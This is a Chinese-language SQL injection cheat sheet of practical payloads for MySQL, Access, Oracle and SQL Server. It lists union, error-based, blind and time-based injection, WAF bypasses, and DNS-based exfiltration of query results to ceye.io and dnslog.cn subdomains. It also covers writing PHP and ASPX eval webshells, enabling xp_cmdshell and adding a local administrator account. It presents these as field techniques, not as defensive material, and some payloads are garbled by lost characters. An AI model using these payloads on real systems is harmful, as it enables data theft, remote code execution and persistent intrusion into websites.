Sql注入判断数据库类型
Mysql注入
如果对应的表,列名爆不出来,可以尝试用字符转16进制转化。
相关函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()
group_concat()
concat_ws()
正常的手工注入测试流程
id=1id=1'--+
测试注入点
1 order by 2#
?id=2 union select 1,2,3 --+
1 union select 1,database()#
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
1 union select1, group_concat(column_name) from information_schema.columns where table_name='表名' # 从所有的列名里边找到这个表名里不重复的列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
常规注入
(Select schema _name from information_schema.schemata limit 0,1)
?id=-1’union select 1,2,(select group_concat(username,0x7e,password) from security.users) --+
?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
?id=-1' union select 1,2, (select group_concat(column_name) from information_schema.columns where table_name='referers' ) --+
如果不能一次爆完全部,就使用limit,其中第一个数字0代表第一个表、列;1就是第二个
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
报错语句
Group by concat floor,(这个语句不适合爆密码),floor()函数会影响md5值
and (select count() from information_schema.tables group by concat((select version()),floor(rand(0)2)))--+
extractvalue
and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
updatexml 常用
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
复杂语句报错注入 偶尔能用上
and (select 1 from (select count(),concat('~',(select table_name from information_schema.tables where table_schema='hebjy1028' limit 0,1),'~',floor(rand(0)2)) as a from information_schema.tables group by a)b)#
延时注入
思路是一样的(判断是否注入点→判断字符长度→内容逐个逐个爆破)
可以用python自动化脚本运行
https://blog.csdn.net/weixin_41598660/article/details/105162513
也可以用burp去爆破
判断长度
/?id=1'and if(length(database())=8,sleep(10),1)--+
再判断字符(ascii判断)
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+
(left语句判断)
?id=1' and if(left(database(),1)='s',sleep(10),1) --+
?id=1' and if(left(database(),2)='sa',sleep(10),1) --+
Substring函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
布尔注入
Left判断
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2) > 'sa' --+
Like语句判断
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
宽字节注入
前提1 使用了addslashes()函数
2 数据库设置了编码模式为GBK
原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运“,而单引号逃逸了出来,形成了注入漏洞
%df' and 1=2 --+
二次编码注入原理
%25 urldecode()编码变成%
搜索框注入
实战经常碰到过
Sql数据库语句:SELECT*from sqltest where names like ‘%要查询的关键字%’
可构造payload 欧锋%’ and 1=1 and ‘%1’=’%1
欧锋%’ and 1=2 --+
欧锋%’ and 1=1 and ‘%
堆叠注入
id=1;insert into users(id,username,password) values('100','new','new');
mysql写shell
1具备写入权限
2有物理路径
3GPC关闭(能使用单引号),magic_quotes_gpc=On
(2)不支持union 的话可以用 into outfile
语法:select * from admin where id=1 into outfile ‘F:\WWW\phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
一般实战需要把内容进行16进制加密写入
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
(2)支持union的话可以用into dumpfile 函数
DNSlog注入语句
内容无回显时可进行dnslog注入,用ceye.io注册、或者burpsuit自带的插件
?id=1' and if((select load_file(concat('\\',(select database()),'.hq87c4.ceye.io\abc'))),1,0)--+
/?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'. hq87c4.ceye.io\abc'))),1,1)--+
SELECT LOAD_FILE(CONCAT('\\',(SELECT hex(user())),'.mysql.ip.port.ukg4ig.ceye.io\abc'));
奇葩注入方式
(2)如果屏蔽了注释符
用‘1‘ = ’1代替注释符即可绕过
php?page=4&cid=1' and 1=1 and '1'='1
(2)between注入
实战很罕见,但偶尔还真的能用得上
主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常
(2)Limit注入
原理如下
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
实战例子:
参数后and 1=2 判断,出现如红框所示and 1=2,1
构造payload
index.php?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)--+
(2)Orderby注入
当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入。
原理如下图
其中select * from users order by id desc;的desc是可控的传参值。
可构造payload: select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
也可以接上 if(1=1,id,username);
乌云案例:
https://www.uedbox.com/post/10853/
https://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html
不正常数据库版本的第一个字符的ascii为53,为数字5
---------------------------------------------------
语句 order by 后id 直接注入,如下的sort接口后的id直接插payload
(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)
Mysql注入bypass
1.或者//代替空格 例如:union*//*select
2.等价替换:and -> &、%26 or -> ||
3.Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
4.通过组合测试,可以发现 union%0a/!12345select/ 1,2 可以绕过防御。
5.Union/something/select 空格替换成垃圾字符干扰例如:/asdw¥%/
特殊函数替换干扰xx()替换为xx/something/()
6.尝试get改post
7.参数污染,如?id=1后再添加参加参数如 ?id=1&id=2
?id=1 /!00000order/!00000by/!00000/3
Id=-1 or -1 and -1=-1
(2)分块传输
原理:Chunk分块传输方法是一种有效的绕过WAF的Web攻击手段。其原理是利用Transfer-Encoding: chunked
这个HTTP请求头,当HTTP请求中含有这个请求头时,则传输的数据全部可进行分块编码
Burp安装插件即可,
分块传输前的post传输
分块传输后格式
Access数据库注入
Access数据库中没有注释符号.因此 /**/ 、 -- 和 # 都没法使用。
参数后面加 ’ 、and 1=1、and 1=2看返回状态判断是否存在注入点
Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
参数后面加 and exists(select*from admin) 猜表名 返回正常页面表示存在(admin)
Order by探测字段,有3行
有回显:
union select 1,2,3 from admin(此时页面有显示2、3)
查列:and exists (select 列名 from 表名) (假设存在user、password)
union select 1,user,password from admin(即可爆出账号密码)
无回显:
查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查内容:and (select top 1 asc(mid(user,1,1))from admin)=97
and (select top 1 asc(mid(user,2,1))from admin)=97 猜字段(username)中第一条记录内容的第二个字符
and (select top 2 asc(mid(user,1,1))from admin)=97 猜字段(username)中第二条记录内容的第一个字符
偏移注入(回显数连续)
假设已经判断存在admin表,order by下判断有35行,且回显如下回显字段连续
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin --返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin --返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin --返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin --返回到一个错误页面提示查询语句出错,因此admin表的列数为6
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin
因为回显如下图 28 29 30是连着的,直接在27后加表名.*
爆出内容
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3 添加where id =数值,可得到更多的内容
偏移注入(常规操作)
Access偏移注入:表名知道,列名无法获取的情况下。
存在注入点,且order by下判断出字段数为22行
爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
***号判断直到页面错误有变化**
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明admin有6个字段
Access**偏移注入**,基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
实战常见的表和列(也可以用sqlmap的,但是量大且效率低)
常见的表有(最后根据企业名的缩写搭配上admin、user、name)
admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin product、news、usr、system、article、customer、area
admin_id、admin_name、admin_password
常见的列
admin admin_user username password passwd pass pwd users usr user_login user_name login_name name等等
oracle注入
常规有回显注入
order by 3--
and 1=2 union select null,null,null from dual--
and 1=2 union select 'null',null,null from dual-- //返回正常,则第一个字段是数字型,返回错误,为字符型
and 1=2 union select 1,'2','3' from dual-- //判断显示位
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探测数据库版本信息
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查询第一个表名
and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二个表名
获取关键表中的列名:
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --
and 1=2 union select SNAME,SUSER,SPWD from T_USER where id=1-- //查看数据
第二种常规注入
确定回显位,假设当前共2个字段,全是数字型,判断方式如下:
and 1=2 union select 1,2 from dual 假设回显位是2,爆当前数据库中的第一个表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual 爆当前数据库中的第二个表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual 以此类推去爆第n个表
爆某表中的第一个字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual 爆某表中的第二个字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual 爆其它字段以此类推
爆某表中的第一行数据:
and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串
报错注入
利用 utl_inaddr.get_host_name
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,当前数据库用户必须有网络访问权限。
jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual)) --
ctxsys.drithsx.sn()
jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
dbms_xdb_version.checkin()
jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null—
dbms_utility.sqlid_to_sqlhash()
jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
XMLType()
sname=1′ and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
布尔注入
jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --
username=admin' and (select substr(user, 1, 1) from dual)='S' --
时间盲注
主要用DBMS_PIPE.RECEIVE_MESSAGE
即user的第一位是"A"时,延时5秒执行。
And 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)
第二位是D时,延时5秒
And 1=(select decode(substr(user,2,1),'D',DBMS_PIPE.RECEIVE_MESSAGE('a',5) ,0) from dual)
news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) –
DNSlog注入
utl_inaddr.get_host_address
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual
SYS.DBMS_LDAP.INIT 这个函数在 10g/11g 中是 public 权限.
SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
其他攻击思路(见思维导图)
还未研究插个眼
Sqlserver注入
支持的注释符 /* -- ;%00
Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
@@version // 数据库版本
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user //查询是否支持多语句
报错显示Microsoft OLE DB Provider for ODBC Drivers 错误
- SA权限:数据库操作、文件管理、命令执行、注册表读取
- DB权限:数据库操作、文件管理
- Public权限:数据库操作
普通注入:
order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败 说明列数位于 3-4之间。查找回显点
id=2 and 1=2 union all select null,null,null,null;挨个替换null 发现 select null,2,null,null 页面出现回显。
查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4
找到数据库名称。 提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据
查找数据库表名称:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4提示: xtype='U' 为 用户表
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。
查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 获取用户名;
?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 获取密码
全回显操作
获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于mssql2005及以上版本)】
(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
案例: mozhe_dbv2是数据库名字
一次爆指定表的所有列(只限于mssql2005及以上版本):
(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))—
案例: mange是表名
报错注入
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员sa
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限dbo
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
(2)单个爆破:
and 1=convert(int,(select top 1 table_name from information_schema.tables ))—获取第一个表名
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('photoGalary') )) 获取第二个表名
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='login' ))— 获取第一个列名
and 1=convert(int,(select top 1 username from login ))
and 1=convert(int,(select top 1 password from login ))
(2)全爆语句
爆表,要求sqlserver版本2005以上
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
爆列
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))—
时间注入
aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5' –
如果是sa权限,就延时。
案例:
判断内容
aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--
布尔盲注
1.aspx?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
XP_CMDSHELL检测
看下目标的xp_cmdshell存储过程是否还在,主要是想看它有没有被删掉,你也可以用这种方式来查询其它你想知道的任何存储过程,如果判断还在,页面显示正常,不在的话页面报错。
and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell') –
开启xpcmdshell一句话。前提 1、支持堆叠 2、扩展存储过程没被删除
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
前提:sa权限探测是否存在1433端口。然后检测是否开启CMDSHELL
用XP_CMDSHELL添加用户hacker:
exec master..xp_cmdshell "whoami"
asp?id=3;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'
XP_CMDSHELL把用户hacker加到ADMIN组:
asp?id=3;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
学习的文档:https://www.lagou.com/lgeduarticle/38721.html
https://www.cnblogs.com/vigarbuaa/p/3371500.html
https://www.cnblogs.com/cnjava/archive/2012/06/13/2547524.html
https://blog.csdn.net/weixin_34319999/article/details/92479895
拿shell方法
前提:
1具备sa或者dbo权限
2web目录的绝对路径 (可以利用xp_cmdshell的方式寻找绝对路径,插个眼)
(2)xp_cmdshell拿shell
1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\aufeng.aspx' ;
(2)差异备份拿shell
大概思路:
假设:http://xxxxx/show.aspx?code=1
中的code参数存在注入点 并且获得数据库名字为abc 爆出了物理路径为e:\xampp\htdocs\dvwa\
(1) 修改数据库设置为恢复模式
http://xxxxx/show.asp?code=1’;alter database abc set RECOVERY FULL –
完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。
(2) 备份当前数据库日志到文件
http://xxxxx/show.aspx?code=1’;backup log abc to disk=‘e:\xampp\htdocs\dvwa’ with init –
备份数据库日志到服务器上,其中路径是网页的物理路径。
(3) 建立一张表和一个字段
http://xxxxx/show.aspx?code=1’;create table tt(a text) –
(4) 往表中插入一句话马子
http://xxxxx/show.asp?code=1’;insert into tt(a) values(’<%eval request(“abc”) %>’) –
values中的内容一般转换为马子的hex值。
(5) 再次备份日志
http://xxxxx/show.asp?code=1’;backup log ahykd_new to disk=‘e:\xampp\htdocs\dvwa\1.aspx’ –
再次备份日志,备份路径为网站服务器的物理路径
(6) 删除表
http://xxxxx/show.aspx?code=1’;drop table tt –
然后菜刀尝试连接http://xxxxx/1.aspx